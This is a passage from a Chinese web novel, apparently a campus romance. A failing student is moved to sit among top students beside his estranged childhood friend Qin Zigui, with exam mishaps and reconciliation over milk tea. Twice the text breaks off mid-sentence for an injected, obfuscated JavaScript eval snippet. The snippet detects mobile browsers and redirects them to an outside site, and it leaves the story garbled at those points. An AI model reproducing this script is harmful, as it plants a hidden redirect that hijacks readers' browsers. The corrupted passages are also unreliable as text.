盛衍点点头:“认识啊,不就是排座表吗。不过怎么是一班的?” 黄书良拿出红笔在靠窗那组倒数第二个位置,画了个圈:“你知道这个位置是谁吗?” 盛衍摇摇头。 黄书良:“这次考试的年级第三,纪检部部长,陈逾白。” 盛衍:“?” 黄书良又在靠窗第二组倒数第一个位置画了个圈:“你知道这个位置是谁吗?” 盛衍摇摇头。 黄书良:“这次考试的年级第二,一班的语文课代表,林缱。” 盛衍:“??” 黄书良最后在靠窗那组倒数第一个位置画了个圈:“那你知道这个位置又是谁吗?” 盛衍这次知道了:“秦子规。” 黄书良点点头:“对,这就是我们的年级第一,学生会会长,秦子规的位置。” 盛衍没懂:“所以?” “所以我们打算在秦子规的位置后面再加一张桌子,让秦子规坐到那儿。” 盛衍有种不好的预感:“然后?” 黄书良微微一笑:“然后我们打算把空出来的这个三面环山一面靠水的风水宝地安排给你。” 盛衍:“?!” 前面年级第三兼纪检部部长,左边年级第二兼语文课代表,后面年级第一兼学生会会长,右边是靠走廊的窗户,所有老师可以随时经过并且无障碍观察他在做什么。 这种风水宝地到底是哪个鬼才想出来的要安排给他的?! 什么仇什么怨?! 盛衍想都没想:“老师,不行,真不行,一班的进度我肯定跟不上。” 黄书良笑得很和蔼:“没关系,反正你在六班也跟不上。所以在都跟不上的情况下,扔到这里起码可以保证上课没人跟你说话打游戏,逃课玩手机第一时间就有人汇报,长此以往,你不想学习也得学习,就算成绩提不上去,学习习惯也能提上去。” 你怎么不说血压也能提上去。 盛衍另辟蹊径:“我一个年级倒数第一的成绩,去一班,其他同学肯定会觉得不公平。” 黄书良依旧笑得和蔼:“不会的,你如果是二班三班的被提到一班来,这才叫不公平,但是你这个成绩提到一班来,全年级都知道这叫折磨,他们只会同情你。” 盛衍:“……” 你们这不是挺明白的吗。 他还想再拒绝,黄书良却已经不容反驳:“行了,别说了,你妈妈也已经同意了,这是年级组所有老师开了一整晚的会商量出来的特别待遇,你就珍惜吧你。而且也不是以后都在一班了,就补课的这一个月先观察观察,看看效果,具体的以后再说。所以秦子规,你去帮他搬桌子,我先回去教育教育四班那两个混账东西。” 说完黄书良就大摇大摆地离去。 剩下盛衍孤独地站在厕所的风口绝望。 然后他想到什么,转头看向秦子规,没好气道:“这个位置我才不搬。” 秦子规已经从刚才的楚楚可怜小白花样恢复成了平日里那副高冷欠揍样,双手插兜:“你说?” 盛衍挑了点儿眉,一副堪破天机的模样:“本来你和林缱挨成一排,我突然搬过去不就成了王母娘娘棒打鸳鸯了,我就是那小小的船票,你在这头,林缱在那头,我天天夹在你们中间看你吃飞醋?” “?”秦子规微顿半晌,好像明白了他的脑回路,看着他,微眯了点儿眸子,“你觉得我喜欢林缱?” 盛衍扔了他一个白眼:“废话,现在全年级的估计都知道你喜欢林缱了,不然为什么要去找黄毛那群人打架?” 秦子规瞬间彻底明白了。 他说这小少爷怎么这次气成了这样呢。 原来是以为自己跟他冷战的原因是因为喜欢林缱。 所以自己在这人心里的形象估计已经成了一个重色轻友的大垃圾。 问题竟然是在这儿。 而秦子规最擅长的事情就是对已有问题写解。 于是他看着盛衍,淡淡道:“我去找黄毛打架不是为了林缱。” 盛衍轻睼向他。 他垂眸迎上视线,语气云淡风轻:“是为了你。” 10. 奶茶 Chapter.10 为了谁? 盛衍觉得自己可能耳朵聋了,怀疑地抬了下眉。 秦子规侧靠着墙,轻描淡写地补了一句:“起码一部分原因是为了你。” 一部分? “那另一部分呢?”盛衍问。 秦子规面不改色:“为了正义。” 盛衍:“......” 你还挺有格局。 不过为了正义勉强还可以理解,但为了自己又是说的哪门子瞎话? 想起刚才秦子规出神入化的演技,盛衍警惕道:“跟我有什么关系。” “你不说我是你罩着的人吗?”秦子规垂眸看向盛衍,“那我总不能看着你被欺负。” 盛衍这才想起来自己刚才和付赟的对话全被秦子规听到了。 “谁罩着你了,那些话就是说来吓唬吓唬他们的,你可别自作多情。而且那群黄毛被我打得哭爹喊娘的,到底谁欺负谁,你搞清楚再说,别瞎出头。”盛衍绷着脸,别过头,语气不算好。 微顿,又有点别扭地扔出一句:“付赟酸你也不是一天两天了,他们说的那些屁话你就当没听见,别往心里去,不然脏了脑子。” 他其实不太确定秦子规刚才在黄书良面前的表现到底是纯演戏,还是真的有那么点难过。 但反正他看见秦子规刚才那副样子时,不知道为什么,就想起了小时候秦子规一个人坐在楼下的台阶上看着远处发着呆的样子。 他具体也说不出来那到底是个什么感觉,就是心里堵得慌。 不过秦子规自己好像倒是不怎么在意,还是和平时一样冷淡理智:“他们其实有的话说得也没错,我确实是没爹没妈,寄人篱下。” 听他这么一说,盛衍瞬间就急眼了,转回头没好气地冲他凶道:“你寄谁篱下了?是秦姨江叔对你不好,还是我姥姥姥爷对你不好,就连我妈都是一天到晚夸你骂我,我从小到大什么喜欢的东西没分给你?你这个秦家大少爷哪儿当的不舒坦了吗?寄谁篱下了?看谁脸色了?他们那些屁话哪句说对了?” 看着盛衍正儿八经有点生气着急了的样子,秦子规没忍住,低头微弯了下唇。 正急到一半的盛衍看到秦子规居然笑了,顿时更莫名其妙了:“你笑什么笑!不准笑!” “好,不笑。”秦子规敛了笑意,认真看向盛衍,“所以我才说我去找那群黄毛是为了你,因为小时候答应过你的,谁欺负你了,我就帮你欺负回去,总不能说话不算话。” 他的语气很淡,但盛衍迎上他的视线的时候,心里却像被闷着打了一拳。 所以其实秦子规根本没有重色轻友。 不仅没有轻友,还记着小时候的承诺,才会在知道自己脸上是被黄毛他们划伤的后,就去找黄毛他们算账。 原来是这样。 可自己昨天还发了那么大脾气。 盛衍突然有些内疚。 但是他又觉得不完全是自己的错,因为秦子规一年前说的那些话的的确确很伤人。 而且过去的这一年他不是没有各种明着暗着主动示好示软过,可是秦子规全都当没看见,一律冷漠处理,就连生日前一天也对自己冷淡至极。 盛衍始终还是有些介意。 这和秦子规道不道歉没关系,是他觉得秦子规其实还有什么事瞒着他,这事儿就这么不明不白地过去了的话,他心里多少有点硌得慌。 所以他一边内疚,一边又还真的生着气,这话一时半会儿就不知道该怎么接,只能板着脸站在原地,一言不发。 秦子规却像是看出来他在想什么似的,淡淡道:“一码事归一码事,之前的事还是我的错,你不愿意原谅我也没关系。” 语气神情都是一如既往地万事不过心的淡然和平静,可是盛衍不知道为什么,好像就是能看出那张面瘫脸上不经意间流露出的一点点失落和受伤。 于是盛衍心里更内疚了。 他对秦子规是不是有点太凶了? 他是不是太小气了? 秦子规会不会真的难过了? 那要不就先原谅秦子规? 盛衍心里疯狂天人交战,还没战出个结果,尖锐刺耳的早自习预备铃就滋啦啦地撞进了他的耳膜,激得他本能一个蹙眉。 秦子规顺势直起身:“走吧,先回教室,我去帮你搬桌子。” 盛衍:“?” 搬什么桌子? “……” 搬的好像是那个桌子。 “!!!” 搬的是那个桌子!! 盛衍这才猛然想起这些儿男情长的根本不重要,重要的是他即将面临为期至少一个月的三面环山一面靠水的风水宝地的长期囚禁! 于是立马反应过来:“别,你先不用帮我搬,我自己回教室,你留一节早自习的时间让我和朱鹏苟悠告个别。” 说完就匆匆跑回六班,往座位上一坐,就开始疯狂在桌肚里掏起手机。 动作迅猛得前桌刚被盛衍吓掉了包子的朱鹏,一个惊吓,又吓掉了手里的小饼干。 就连旁边的苟悠都看不下去了:“衍哥,你这慌里慌张地找什么呢?” 盛衍头也没抬:“如果让你前面坐年级第三,旁边坐年级第二,后面坐年级第一,而且其中一个是纪检部部长,一个是学生会会长,另一边还是黄书良经常暗中观察的地方,坐一个月,你会怎么样?” 苟悠毫不犹豫:“不是抑郁就是死。” 盛衍毫不意外:“彼此彼此。” 可是他还年轻,他还想好好活着,他还答应了许女士新的一年要继续善良勇敢开心快乐地成长下去,所以他必须自救。 盛衍迅速地翻出手机,打开心想事成APP,许愿:[希望黄书良收回风水宝地的鬼才主意],然后开始紧张等待。 可是不知道为什么,这次的白圈转动得格外久,一直也没回复是批准还是不批准。 盛衍抿着唇,指尖不停地敲击着屏幕。 整个人是肉眼可见的焦灼。 苟悠到底没忍住:“衍哥,到底什么事呀?你是在等谁的消息吗?” 在等神的消息。 当然,这话他不可能对苟悠说,不然会显得他很像个神经病,于是连眼神都没给一个的敷衍答道:“你相信世界上真的有许愿系统的存在吗?” 苟悠想都没想:“当然相信啊。” 前排朱鹏也回头凑热闹道:“我也信。” 盛衍抬头挑眉。 苟悠一脸认真:“只有相信许愿系统的存在,才能相信霍格沃兹的存在,明年我才可以不用参加高考。” 朱鹏一脸神圣:“而且我们要相信光。” 微顿,补充:“摘自《迪迦奥特曼》” 盛衍:“……” 两个神经病。 不过被神经病环绕也比被监狱长环绕强,想到秦子规那张和执法AI没什么差别的冰块脸一天15个小时的在后面盯着自己,盛衍就觉得这日子没法过了。 好在在他敲击了不知道多少下手机屏幕后,界面一顿,白圈终于停止转动,出现四个大字[愿望批准]。 还好,自己还有这个玩意儿可以自救。 不至于真的被关到监狱去。 盛衍长舒了一口气,整个人总算放松下来,懒洋洋地点开任务,准备迎接新生活的曙光,然后下一秒,松弛到一半的身体就突然顿住。 屏幕上赫然写着一行大字——[心愿任务:下一次模拟考试,全科及格] “……” 全科? 及格? 他要是有这能耐他还至于被黄鼠狼扔到那个根本不是人呆的风水宝地去吗? 这是什么破系统! 盛衍气得要死,正准备再许个愿望:[希望下次考试全部及格],结果被系统残忍告知[本周许愿额度已用完,请下周再来]。 盛衍生气地把手机往桌肚一扔,重重往后靠上椅背,绝望地垂下手臂,目光麻木如同即将奔赴远方刑场。 苟悠和朱鹏实在没忍住好奇:“衍哥,到底怎么了?你怎么上个厕所回来魂就没了?” 盛衍瘫在椅背上,板着脸,全身上下,除了嘴巴,一动也不想动:“我刚在厕所碰到黄鼠狼了。” “然后?” “然后他说我这次考试创了五年来理科班历史新低。” “所以?” “所以准备给我一个特别待遇。” “什么?” “就是刚才给你说的那个三面环山一面靠水的风水宝地。” “……” 盛衍觉得自己话音落下的那一刻,整个他的音量所能波及到的范围里的所有生物都向他投来了一种壮士一去兮不复还的悲怆目光。 以及,同情。 那种赤/裸裸的,无法掩饰的,深刻又悲伤的同情。 “衍哥,保重,来日方长,兄弟只能陪你走到这儿了。”朱鹏悲痛又郑重地把刚才掉在地上的那块小饼干双手放到了盛衍面前的语文书上。 盛衍想直接给他扬了。 还是苟悠勉强通点人性,安抚道:“衍哥,没事,咱们也不用这么绝望,其实说不定没我们想的那么恐怖夸张,起码林缱的性格你知道的,是挺好的吧?而且秦子规也不真的就是那种完全不通情面的冷酷无情的人,他还是有些义气在身上的,日子不一定有你想的那么难熬。” “是啊,衍哥,想开点,他们人都不错的。” 朱鹏点头附和。 盛衍:“?” 这俩人不是一向最怕秦子规了吗?天天把秦子规说得跟个冷面阎罗似的,怎么今天突然开始帮秦子规说话了? 他皱着眉看向苟悠。 苟悠先是微愣,然后反应过来:“衍哥,你是不是还没看职高贴吧?” 盛衍听到这个就冷了点眉眼:“听朱鹏说了。” “不是那个。”苟悠递上手机,“有新进展了,林缱现身说法给秦子规正名,舆论掰回来了。” 手机屏幕上是一个帖子。 帖子名《有关我校秦子规同学为何与你校黄某某等人发生冲突的事件通报》 发件人:林缱 帖子内容:长文如下。 [对于今日你校贴吧流传的我校秦子规因争风吃醋而对你校黄某某等人大大出手的事情,作为当事人本人有话要说。 第一,我校秦子规并非无缘无故找事,而是因为你校黄某某携其同党于7月1日晚和7月3日中午,于我校后门对我进行了言语和肢体上的恶意骚扰,7月6日中午和晚上还出言侮辱(皆有人证物证,楼下自提) ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727192|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 所以作为我的同班同学,我的后桌,我们一班最具正义感的男人,秦子规同学采取了一定措施,让你校人品低劣并且随时在违法边缘试探的黄某某等人深刻意识到了自己的错误,并保证永不再犯。 此举实乃路见不平,拔刀相助,尊重女性,保护弱小,锄强扶弱的正义之举!绝非传言中所说的寻衅滋事(此处有黄某某等人口供自述,楼下自提) 第二,本人与秦子规只是最单纯的同学关系,诚然,本人貌美如花,对方也帅得一比,但是我一心只想考清华,他一心只想考北大,所以我们对彼此没有任何除了竞争对手以外的想法,聊天截图如下: [林缱:秦子规,听说你喜欢我鸭~ 秦子规:我不喜欢鸭 秦子规:早自习玩手机,操行分扣三分 林缱:???] 谁看着这张图还能说出他喜欢我,麻烦你去看一下心理医生。 第三,综上所述,我校秦子规同学热爱学习,遵纪守法,充满正义,见义勇为,毫无不清不楚不明不白之举,所以你们职高这群人是不是闲得慌?六门分数加起来没有人家一门高,还好意思天天在这儿得比得比,惹是生非,造谣生事,你们脑子长得和大肠再像也不能装一样的玩意儿啊?所以你们最好别惹事,不然到时候受到智力和武力的双重暴击,从此自闭,还要增加社会的负担] 底下把黄毛他们老老实实供认不讳的聊天记录全都发了出来,职高的人再想据理力争也架不住他们又不占道理又没了气势。 加上苟悠他们这群人人手一个小号,上去把秦子规吹得天花乱坠,再把黄毛他们那群人踩得像是社会的渣滓败类,于是一场无聊至极的闹剧就以碾压式的胜利暂时告终。 而林缱之所以发这么个帖子,肯定不是为了她自己,她好好一个女孩子,直接神隐就好。 想来也是听到了一些风言风语,想感谢秦子规,又替秦子规受得那些流言蜚语感到不平,所以才出来澄清。 这么看来,的确应该是个很好相处的人。 至于秦子规…… 盛衍正想着,苟悠就“啧”了两声:“说实话啊,真看不出来,秦子规还有这么仗义热血的一面,我以前还真以为他是冷血动物呢。” “就是,而且你仔细想想,其实我们经常带手机被他发现,但他从来没有没收过。”朱鹏一边吃着饼干,一边含含糊糊应和着。 苟悠思忖了一下:“也是,他小打小闹的分是扣得不少,但好像从来没有背地里打过小报告,早恋那些也都装看不见。” “对啊,而且之前陈逾白给衍哥送来的碘伏那些也是他买的。” 朱鹏一说完,盛衍就抬眸看向了他:“什么他买的?” 朱鹏一脸无辜地嚼着饼干:“就之前那些碘伏和棉签啊,我昨天晚上和陈逾白打游戏的时候,他顺嘴说的。怎么,衍哥,你不知道?” 他不知道。 盛衍微怔了一下。 所以其实那天秦子规看见自己受伤后并没有真的视而不见,不仅去帮他打架了,还让人送来了药,只是因为冷战,才没有告诉自己。 昨天还给自己买了榴莲千层,道了歉。 今天还帮自己说了话。 结果自己从头到尾就没有给过他一个好脸子。 盛衍一时也忘了自己一年前突然被告知绝交时多委屈多难过多伤心,也忘了这一年屡次三番地放下自尊心主动示好,却屡屡热脸贴上冷屁股的事,只觉得心里酸得慌。 还没来得及想清楚这种酸是因为什么,身后就传来淡淡一声:“早自习马上结束了,黄书良让我过来帮你搬桌子。” 盛衍闻言回过头,就看见秦子规已经好整以暇地站在了后门。 然后也忘了自己该说什么,就“哦”了一声。 于是秦子规熟门熟路地帮他从地上捡起掉落的书包,把桌上的东西一样一样整整齐齐地收拾进去。 那只好看至极冷白细长的手就一直在盛衍跟前晃来晃去,手背上那道暗红的伤口也就一直在刺着盛衍的眼睛。 不算深,但很长,斜跨了整个手背,落在那只本来完美得像件艺术品一样的手上时,就显得扎眼得很。 这可是秦子规用来拉小提琴,敲代码,写出全市考试第一的卷子的手。 盛衍抿了下唇,问:“疼不疼。” 秦子规没什么表情:“还好。毕竟没怎么打过架,不太擅长,受点伤也正常。” 是啊。 秦子规这么乖的好学生哪儿会打架啊,如果不是因为自己,肯定不会做这种事。 还是一挑几,肯定被黄毛他们几个欺负惨了,除了这里,说不定还有其他自己看不见的地方受了伤。 结果自己昨天晚上只顾着生气,根本没有好好关心关心。 自己真过分。 盛衍觉得心里有点不是滋味,纠结半晌,终于别扭地开口:“那个,你喝奶茶吗?” 秦子规停下手里的动作,看向他。 盛衍不想被秦子规看出自己示弱和心虚,立马挺直背,理直气壮道:“就是我觉得我中午很有可能会多买一杯,你要是喝的话,就给你了,绝对没有别的意思。” 秦子规对上他亮晶晶心虚虚的眼神,三秒,微顿,垂下眼睫:“嗯,喝,我喜欢甜的。” 11. 子规 Chapter.11 你什么时候喜欢甜的了? 盛衍明明记得秦子规不爱吃甜的。 不过管他爱不爱吃呢,反正自己多买一杯就是了。 他这么做也不是因为原谅了秦子规。 毕竟哪有毫无征兆地突然提出绝交再冷战一年,然后敷衍地道个歉就算完了的道理? 他的确挺看重和秦子规这十几年的兄弟情的,但不代表真的就凭着秦子规说什么就是什么,更何况秦子规明显还憋了许多事瞒着自己,自己如果就这么稀里糊涂地被糊弄过去了,未免也太没有底线和原则。 但秦子规说得也对,一码事归一码事。 他不原谅秦子规之前的行为是一回事,秦子规昨天为了他打了架,挨了罚,受了伤,又是另外一回事,所以请他喝一杯奶茶也算情理之中。 不过想要再多的就没有了。 他盛衍可是一个十分有骨气和原则的成熟男人,在秦子规拿出态度之前,绝不轻易投敌示软。 想着,像是为了表明自己绝对没有特殊对待一样,盛衍站起身,板着脸对着朱鹏和苟悠一人扔了句:“你也一杯,你也一杯,中午自己来拿。” 然后就把椅子反扣上已经被秦子规清空的桌面,一手扣住桌子的一侧,抬起桌椅,径直出门往走廊最那头的一班走去了。 实外全称南雾市实验外国语学校,是南雾数一数二的私立名校,一本率常年百分之九十以上。 不是竞赛强校,也不是苦熬战术,主打精品教学,每个年级招生最多三百多人,全靠生源和教学质量提上去的升学率。 分班则是按照班级数字从大到小的顺序,学生成绩越来越好。 比如六班就是理科垫底,基本都是稳二本冲一本或者刚到一本要冲211的。 一班则都是拔尖生,25个人,个个清北苗子,如果考差了就只能含泪去读复上人浙。 所以对于盛衍这个打小就放荡不羁爱自由,全靠家里斥巨资砸钱赞助进来的富二代学渣来说,被黄书良突然提溜进一班,跟小白兔突然被扔进一堆大灰狼里没什么区别。 想到自己即将在一群不玩手机不打游戏不吃零食不开小差只知道埋头苦读的死气沉沉的书呆子之间被束缚住自由的灵魂整整一个月的场景,盛衍就觉得如坠地狱。 一张本来挺好看的脸也越来越臭,越来越臭,等走到一班后门的时候,就差把“我要去坐牢了”六个字写在脸上了。 他抬着桌子,站在一班紧闭的后门前,木着脸,一步也不想多跨。 秦子规拎着他的书包,在他身后停下:“怎么了。” “没怎么。”盛衍面无表情,“就是做下心理建设。” 秦子规像是觉得他这个反应很有意思,也没催他,只是站在他侧后方,看着他绷得紧紧的臭脸,散漫问道:“什么心理建设?说来听听。” 盛衍面无表情得很认真:“你们每天除了问题讲题,会说超过十句话吗?” 秦子规:“?” “你们下课的时候是不是连厕所都不去上?” “……” “你们早饭午饭晚饭会就着卷子一起吃吗?” “……” “你们是不是一天到晚是不是除了睡觉就是学习,连手机游戏都没下载过?” “……” 秦子规在他身后一言不发,像是无言以对。 而盛衍坚信这就是无言的默认。 于是他深深地吸了一口气,打算以此来对这个美好的世界做最好的道别,然后一只修长有力的手就越过他的肩头,按上门板,轻轻一推。 教室内二十四颗脑袋立马齐刷刷地转了过来,目光如炬。 盛衍则抬着桌子,憋着刚刚吸进去的那口气,僵在了门口。 这就是传说中的校霸? 这就是传说中的学霸? 他来打谁? 他们会不会用数学攻击我? 五十目相对,彼此心怀敬畏,谁都不敢先动一步。 直到秦子规若无其事的路过盛衍进了教室,把自己的桌子往后一拉,再接过盛衍手里的桌子,往前一摆,顺便漫不经心解释了一句:“黄书良把他扔我们班上来感受一下学习氛围,其他没什么事,你们该干嘛干嘛。” “哦,那就行。” 秦子规这么一说,一班众人终于松了口气,继续抓紧早自习最后的时间该补觉的补觉,该吃饭的吃饭,该放水的放水,该八卦的八卦,甚至还有两个女生在立着镜子梳头发。 盛衍两手空空地站在后门:“……” 这个异世界看上去怎么和他们人类的世界没什么两样。 秦子规替他把书本杂物从书包里拿出来,再整整齐齐地在分门别类放好,头也没抬,却像是猜到他在想什么:“放心,我们也玩手机,也会吃饭,也上厕所,暂时都是正常人类,不会吃了你。” “……” 说得谁怕被他吃了一样。 盛衍被戳穿了心思,一时有点别扭,磨磨蹭蹭地坐上了那个堪比九五之尊之位的宝座,觉得哪儿哪儿都不自在。 刚准备掏出手机和朱鹏苟悠吐槽两句,一只手就伸到他跟前轻勾了两下手指。 “?” 盛衍抬头。 秦子规垂眸看向他,语气平淡:“手机。” “??”盛衍花容失色,“你刚不是说你们班的人也玩手机吗?!” “嗯,但他们都是下课才玩,就算上课用,也是用来查学习资料和历届真题,你行吗。”秦子规的语气平静到根本不像是个问句。 盛衍觉得自己这是被赤/裸裸的侮辱了。 秦子规这个男人简直就是在玩火! 他冷笑一声,正准备教教秦子规“大哥”两个字怎么写,秦子规就淡淡开口:“你交给我我下课还能还你,不然等会儿黄书良来了,你就等着毕业再领吧。” “哦,是的。”前排的陈逾白慢条斯理的吸着豆浆,回头对他道,“我今天早上去年级办公室的时候听说了,黄书良正在筹谋怎么设计收你手机呢,骗你是狗。” “???” 盛衍难以置信。 他又不是第一次考年级倒数第一了,怎么这次黄书良这么玩不起?还要筹谋没收他的手机的? 他倒不是担心手机被没收后不能买新的,主要是怕换了手机以后就没有许愿APP了,那脚踩秦小规拳打秦大规的好日子就彻底没了指望,那这个人生还有什么意义? 正想着,走廊上外已经传来了黄书良熟悉的脚步声,越来越近,越来越近,眼看就要到一班门口了,抉择刻不容缓。 盛衍只能一咬牙,不情不愿地把手机往秦子规手里一塞:“行了,拿着走,下课记得还我,要是被黄鼠狼没收了,我跟你没完。” 秦子规顺势把盛衍的手机往衣兜里一揣。 刚揣好,黄书良就和一班的班主任梁洁一起从后门走了进来,然后二话没说,直接突袭:“盛衍!起立!转身!双手掏兜!举起书包!倒拎三抖!露出你的抽屉!嘿,怎么没有呢?” 盛衍老老实实地按着黄书良的指示把动作全做了一遍后,黄书良一无所获,皱着眉道:“不应该啊。” 但这事再不合理,他也里里外外检查过了,盛衍确实没带手机,所以难道这孩子真转性了? 黄书良人到中年依然有一颗相信童话的心,短暂的思考后,欣慰地拍了拍盛衍的肩:“好样的,继续保持。” 盛衍仿佛看到了曙光:“那老师,我是不是可以回……” “所以看来一班的学习风气确实有效!那你就好好呆在这里!其他的都不用你担心!”黄书良极为少见的对盛衍露出了和蔼爽朗的笑容。 盛衍:“???” 这可不是他想要的效果。 但黄书良只关心他飞得高不高,并不关心他飞得累不累,所以丝毫不在意他的想法,对梁洁细细嘱咐完了“预防盛衍犯罪十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727193|189511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大注意事项”以及“对待盛衍这类阶级敌人绝不能心慈手软的处事方针”后,就潇洒离去。 剩下梁洁叹了口气,拍了拍盛衍的另一只肩:“黄主任这次是不让你脱胎换骨不罢休,所以你就好自为之吧。” 说完就拿着讲义,踩着高跟鞋噔噔噔上了讲台。 留下盛衍一人在原地绝望。 旁边的林缱代入了一下盛衍的角度,有点于心不忍,小声问:“你到底怎么得罪黄书良了,他居然能这么大动干戈地把你送到我们这魔窟来?” “没什么,就是这次期末考只考了327而已。” 盛衍生无可恋地拉开椅子坐下。 林缱:“……” 短暂的沉默,她说:“你值得。” 毕竟不是谁都可以和年级第一考出一个轴对称来的。 “不过我能冒昧问一句吗。”陈逾白捏着豆浆袋子,回过头,看上去有些不知当讲不当讲。 盛衍也没多想:“你说。” 陈逾白直接灵魂一击:“你是怎么能做到只考了327的?” 盛衍:“……” 你觉得你这个问题礼貌吗。 但陈逾白的表情没有丝毫嘲讽,只有一种很认真的问询。 因为实外不准交白卷,所以在都写完了卷子的情况下是怎么能做到只考327的? 陈逾白对这份超出他人生认知的答卷实在充满了好奇。 结果刚说完,讲台上的梁洁就敲了两下桌子:“行了,都别说话了,包子油条都搞快给我咽下去,把期末考试的卷子给我拿出来。尤其是你,陈逾白,盛衍长得再好看你也别上课看,先看看你这次语文到底为什么只考了121!” 于是没有得到答案的他只能悻悻地转回了头。 而盛衍则微蹙起眉。 卷子,什么卷子?自己有期末考试的卷子吗? 还没等他开始满腔疑惑地翻箱倒柜,身后秦子规就低低传来一句:“刚才给你收起来了,期末卷子在左数第二个文件夹,第一页就是语文。” “?” 盛衍抱着将信将疑的态度一翻,还真有。 所以秦子规什么时候给他收拾的? 正愣神,讲台上的梁洁已经叫了他的名字:“盛衍,说到这个,我一直有个问题想问你。” “啊?” 盛衍茫然抬头。 梁洁站在讲台上,看着他,平静阐述:“因为你的卷子实在与众不同,所以即使封卷改,我还是不幸认了出来,所以有一个问题一直困惑我到了现在,你现在能方便解答一下吗?” 盛衍有了不祥的预感。 梁洁面不改色:“请问你是秉持着怎样的心情在古诗词鉴赏,‘蜀国曾闻子规鸟,宣城还见杜鹃花‘这一句的意象赏析问题中,写出‘子规这一意象象征着极度惹人讨厌的玩意儿,杜鹃同上’这一答案的呢?” 盛衍:“……” 子规:“……” 全班同学:“……” 感受到身后骤降的气压和自己快被盯成冰块的后脖颈,盛衍忍不住回过头:“那个,秦子规,你听我解……” 然而不等他说完,身后讲台上的梁洁又慢条斯理地再补上了一刀:“还有第二小问,请问为何古代诗人们常用子规鸟来表达哀伤之意这个问题,你又是怎么回答的呢?” 盛衍僵在原地:“……” 他觉得他有权保持沉默。 但显然秦子规不这么认为。 他轻轻抬起眉梢,捏着盛衍的手机晃了晃,大概意思就是不从实招来你的手机就没了。 于是在短暂的犹豫后,盛衍低下头,涨红耳朵,心虚无比地答出了八个字:“因为子规不是好鸟。” “……” 那一刻,全场寂静。 陈逾白也终于明白了盛衍为什么能考出327分的成绩。 因为别人的考试是考试,而盛衍的考试,只是一场打情骂俏的吵架游戏。 12. 哥哥 Chapter.12 一班众人大概也没见过这么神奇的操作。 全场寂静呆滞之后,就是一阵哄堂爆笑。 倒也没有什么恶意,就是笑得盛衍的脸越来越红,秦子规的脸越来越黑。 盛衍虽然是一个骄纵的人,但也是一个讲道理的人,这件事他自知理亏,顶着秦子规麻木冷漠的视线实在有些不好意思,尴尬地咳了一声,试图自救:“那个,就是,其实我不是那个意思,我就是想说因为子规这种鸟类寓意不好,所以诗人们才常用它表达哀伤之意,没有别的意思……” 他的声音越来越小,秦子规的眼神越来越冻人。 盛衍说到最后,连自己都不相信这个解释了,只能硬着头皮道:“那个,你没有什么别的意见的话,我就先学习去了。” 然后就僵硬着脖子转回身,开始埋头学习。 他想,只要他学习得够努力,那些世俗繁杂就追不上。 然而不出一个上午,“子规不是好鸟”这句至理名言还是以迅雷不及掩耳之势传遍了整个高二年级。 不仅传遍了整个高二年级,那些人还添油加醋,煽风点火,甚至说出“杜鹃可能是益鸟,但子规一定不是好鸟”这种挑拨离间的恶毒言语。 以至于平平无奇的语文小天才盛小衍同学一整个上午都觉得自己背后凉飕飕的,麻酥酥的,像是在一直被冰冷的眼刀子处以极刑,简直如坐针毡,如芒刺背,如鲠在喉,一刻也不敢从知识的海洋里抬起头。 等到中午下课铃声一响,立马用生平最快的速度把帽子一扣,口罩一戴,然后迈着两条大长腿“咻”地一声就掠过秦子规身边,趁他还没担心过来,从后门飞速逃离了案发现场。 “不得不说,衍哥,你可真是个人才,你是没看见,你溜了后,秦子规在你后面那个眼神。”苟悠一边喝着奶茶,一边啧啧摇头。 盛衍现在听到“子规”两个字就烦,压着帽子,坐在学校门口奶茶炸鸡店的最角落里,没好气地白了他一眼:“吃你的炸鸡,不然舌头给你拔了。” 苟悠乖巧噤声。 旁边的朱鹏却用力掰了只鸡腿,顺便不怕死地接过了话茬:“不过衍哥,你这么躲着也不是回事啊。你现在又住他家,座位又在他前面,每天低头不见抬头见的,躲也躲不过去呀。” “废话,我不知道吗。” 盛衍烦都烦死了。 本来考语文那天他刚好和秦子规拌了几句嘴,心里正憋着气,一看试卷正好出了“子规”两个字,就顺便临场发挥了一下,没想到一不小心发挥过了头,被梁洁记下来了不说,还当着秦子规的面公开处了刑。 简直不要太羞耻。 而且秦子规那个小心眼的老阴比肯定在记着仇,憋着坏,随时等着报复回来呢。 想到自己下午还要回去接受秦子规的死亡凝视,盛衍就觉得头疼,更别说还有接下来一两个月的朝夕相处了。 盛衍一身黑帽黑衣黑口罩地坐在角落里,整个人都散发着丝丝黑气,气场是肉眼可见的暴躁不耐。 苟悠作为盛衍的一号狗头军师,借机献言:“衍哥,你要不想个办法搬回来?” “就是就是,没有你在的日子,我和苟悠十分空虚。”朱鹏连炸鸡都没咽下去,就急着表忠心。 盛衍面无表情:“办法倒是有,不过……” “不过什么?” 盛衍一脸麻木:“不过前提是下次模拟考要每科及格。” “……” 苟悠和朱鹏沉默了。 距离下次模拟考,还有将近两个月的时间,让盛衍每科考试都及格简直就是天方夜谭。 不说别的,就他这个“子规不是好鸟”的语文水平,能考个百分制的及格已经是祖坟冒青烟了,更别说一百五十分制的, 于是短暂的沉默后,朱鹏把另一只鸡腿掰下来递到了盛衍面前,一脸同情的哀悼:“来,衍哥,吃点好的。” 吃完好上路。 盛衍压根儿就不想搭理他。 